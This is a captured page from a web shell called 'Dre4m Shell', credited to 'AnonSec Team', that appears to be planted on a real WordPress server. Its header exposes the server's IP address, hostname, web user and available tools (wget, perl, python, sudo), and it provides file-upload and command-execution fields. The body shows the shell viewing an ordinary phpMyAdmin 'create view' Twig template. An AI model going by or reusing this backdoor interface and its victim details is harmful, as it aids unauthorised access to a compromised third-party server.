Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.118.139.22
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/phpMyAdmin/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/phpMyAdmin/templates/view_create.twig
<!-- CREATE VIEW options -->
<div id="div_view_options">
    <form method="post" action="view_create.php">
    {{ get_hidden_inputs(url_params) }}
    <fieldset>
        <legend>
            {% if ajax_dialog %}
                {% trans 'Details' %}
            {% else %}
                {% if view['operation'] == 'create' %}
                    {% trans 'Create view' %}
                {% else %}
                    {% trans 'Edit view' %}
                {% endif %}
            {% endif %}
        </legend>
        <table class="rte_table">
            {% if view['operation'] == 'create' %}
                <tr>
                    <td class="nowrap"><label for="or_replace">OR REPLACE</label></td>
                    <td>
                        <input type="checkbox" name="view[or_replace]" id="or_replace"
                            {% if (view['or_replace']) %} checked="checked" {% endif %}
                            value="1">
                    </td>
                </tr>
            {% endif %}

            <tr>
                <td class="nowrap"><label for="algorithm">ALGORITHM</label></td>
                <td>
                    <select name="view[algorithm]" id="algorithm">
                        {% for option in view_algorithm_options %}
                            <option value="{{ option }}"
                                {% if view['algorithm'] == option %}
                                    selected="selected"
                                {% endif %}
                            >{{ option }}</option>
                        {% endfor %}
                    </select>
                </td>
            </tr>

            <tr>
                <td class="nowrap">{% trans 'Definer' %}</td>
                <td><input type="text" maxlength="100" size="50" name="view[definer]" value="{{ view['definer'] }}"></td>
            </tr>

            <tr>
                <td class="nowrap">SQL SECURITY</td>
                <td>
                    <select name="view[sql_security]">
                        <option value=""></option>
                        {% for option in view_security_options %}
                            <option value="{{ option }}"
                                {% if option == view['sql_security'] %} selected="selected" {% endif %}
                            >{{ option }}</option>
                        {% endfor %}
                    </select>
                </td>
            </tr>

            {% if view['operation'] == 'create' %}
                <tr>
                    <td class="nowrap">{% trans 'VIEW name' %}</td>
                    <td>
                        <input type="text" size="20" name="view[name]" onfocus="this.select()" maxlength="64" value="{{ view['name'] }}">
                    </td>
                </tr>
            {% else %}
                <tr>
                    <td>
                        <input type="hidden" name="view[name]" value="{{ view['name'] }}">
                    </td>
                </tr>
            {% endif %}

            <tr>
                <td class="nowrap">{% trans 'Column names' %}</td>
                <td>
                    <input type="text" maxlength="100" size="50" name="view[column_names]" onfocus="this.select()"  value="{{ view['column_names'] }}">
                </td>
            </tr>

            <tr>
                <td class="nowrap">AS</td>
                <td>
                    <textarea name="view[as]" rows="15" cols="40" dir="{{ text_dir }}" onclick="Functions.selectContent(this, sqlBoxLocked, true)">{{ view['as'] }}</textarea><br>
                    <input type="button" value="Format" id="format" class="btn btn-secondary button sqlbutton">
                    <span id="querymessage"></span>
                </td>
            </tr>

            <tr>
                <td class="nowrap">WITH CHECK OPTION</td>
                <td>
                    <select name="view[with]">
                        <option value=""></option>
                        {% for option in view_with_options %}
                            <option value="{{ option }}"
                                {% if option == view['with'] %} selected="selected" {% endif %}
                            >{{ option }}</option>
                        {% endfor %}
                    </select>
                </td>
            </tr>

        </table>
    </fieldset>

    <input type="hidden" name="ajax_request" value="1" />
    <input type="hidden" name="{{ (view['operation'] == 'create') ? 'createview' : 'alterview' }}" value="1" />

    {% if ajax_dialog == false %}
        <input type="hidden" name="ajax_dialog" value="1" />
        <input type="submit" class="btn btn-primary" name="" value="{% trans 'Go' %}" />
    {% endif %}

    </form>
</div>

Anon7 - 2022
AnonSec Team